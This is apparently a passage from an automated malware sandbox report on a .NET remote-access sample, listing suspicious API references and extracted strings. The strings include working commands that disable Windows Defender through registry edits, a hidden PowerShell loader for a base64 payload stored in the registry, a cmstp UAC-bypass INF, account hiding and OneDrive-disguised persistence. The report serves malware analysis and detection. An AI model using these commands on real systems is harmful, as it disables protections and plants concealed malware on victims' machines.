00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetThreadExecutionState"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CompareString"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetWindowLong"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ToAscii"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "RtlSetProcessIsCritical"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "QueueUserWorkItem"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SystemParametersInfo"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetLastInputInfo"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "OpenDesktop"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetCursorPos"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "EnumDesktopWindows"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "WindowFromPoint"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SendMessageTimeout"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetKeyboardLayout"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetWindowText"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "Wow64GetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "Wow64SetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "FindWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetConsoleWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ToUnicodeEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetWindowsHookEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "FindWindowEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "MapVirtualKeyEx"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "GetKernelObjectSecurity"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API (Indicator: "SetKernelObjectSecurity"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")37:T4c7,Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "ShellExecute"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "DoShellExecuteResponse" (Indicator: "ShellExecute"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "UseShellExecute = false," (Indicator: "ShellExecute"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "DoShellExecuteResponse" (Indicator: "ShellExecute"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")38:T807,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")39:T73f6,"RunPS("schtasks.exe /create /tn OneDrive-Standalone-Update-Task-S-1-5-21-502086097-1551555327-3686180297-666 /tr " + myself + " /sc daily /mo 1"); } static void Startup() { string pathm = Path.Combine(Path.GetTempPath(), "mineworm"); string bat = Path.Combine(pathm, "mineworm.bat"); string myself = Path.Combine(pathm, "mineworm.exe"); //Directory.CreateDirectory(startupdir); File.SetAttributes(pathm, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Hidden); //File.Copy(Assembly.GetEntryAssembly().Location, myself + "\\SystemProcess.exe"); //File.SetAttributes(startupdir + "\\SystemProcess.exe", FileAttributes.Hidden | FileAttributes.System | FileAttributes.Hidden); Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); key.SetValue("Onedrive"," in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\mscfile\Shell\Open\command" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\ms-settings\Shell\Open\command" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Microsoft\Windows NT\CurrentVersion\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\Folder\shell\open\command" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\exefile\Shell\Open\command" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Classes\ms-settings" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "System\CurrentControlSet\Control\MediaCategories" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "' -Verb RunAs" taskkill /IM cmstp.exe /F [CustInstDestSectionAllUsers] 49000 49001=AllUSer_LDIDSection 7 [AllUSer_LDIDSection] "HKLM" "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE" "ProfileInstallPath" "%UnexpectedError%" "" [Strings] ServiceName="CMMGR32" ShortSvcName="CMMGR32"" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin, "on error resume nextset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Microsoft\Windows\CurrentVersion\Run" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "" strValueIf IsNull(strValue) Thenset wshShell = CreateObject( "WScript.Shell" )wshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "New-ItemProperty -Path HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "Software\Ccleaner" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce" in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin "SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command" in Source: 6000025-_~_ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 6000031-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" in Source: 600003a-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\CredSSP\\Parameters" in Source: 600003a-_~_ "SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services" in Source: 600003b-_~_ "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList" in Source: 600003b-_~_ "New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name Durios -PropertyType DWord -Value 0 -Force" in Source: 600003b-_~_ "Software\\" in Source: 60000ca-_~_ "Software\\Classes\\ms-settings" in Source: 60000d0-_~_ "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 6000847-_~_ "[version]\r\nSignature=$chicago$\r\nAdvancedINF=2.5\r\n\r\n[DefaultInstall]\r\nCustomDestination=CustInstDestSectionAllUsers\r\nRunPreSetupCommands=RunPreSetupCommandsSection\r\n\r\n[RunPreSetupCommandsSection]\r\n; Commands Here will be run Before Setup Begins to install\r\nREPLACE_COMMAND_LINE\r\ntaskkill /IM cmstp.exe /F\r\n\r\n[CustInstDestSectionAllUsers]\r\n49000,49001=AllUSer_LDIDSection, 7\r\n\r\n[AllUSer_LDIDSection]\r\n\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"\r\n\r\n[Strings]\r\nServiceName=\"Venom\"\r\nShortSvcName=\"Venom\"\r\n\r\n" in Source: 600085c-cctor "' -Verb RunAs\"\r\n taskkill /IM cmstp.exe /F\r\n [CustInstDestSectionAllUsers]\r\n 49000 49001=AllUSer_LDIDSection 7\r\n [AllUSer_LDIDSection]\r\n \"HKLM\" \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\" \"ProfileInstallPath\" \"%UnexpectedError%\" \"\"\r\n [Strings]\r\n ServiceName=\"CMMGR32\"\r\n ShortSvcName=\"CMMGR32\"" in Source: 600086a-_~_, "on error resume next\r\nset wshShell = CreateObject( \"WScript.Shell\" )\r\nwshShell.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\" in Source: 600086b-_~_ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA" in Source: 6000877-_~_ "Software\\JavaSoft" in Source: 6000890-_~_ "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" in Source: 6000891-_~_ "SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v4\\Full\\" in Source: 600089c-_~_ "Software\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: 60008ab-_~_ "on error resume next\r\nDo While True\r\n\r\nSet oReg = GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv\")\r\noReg.GetStringValue &H80000001, \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\", \"" in Source: 60008e0-_~_, "\", strValue\r\nIf IsNull(strValue) Then\r\n\r\nset wshShell = CreateObject( \"WScript.Shell\" )\r\nwshShell.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\" in Source: 60008e0-_~_, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows" in Source: 6000904-_~_, "New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name Venom -PropertyType DWord -Value 0 -Force" in Source: 6000942-_~_, "reg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f" in Source: 6000980-_~_, "reg delete 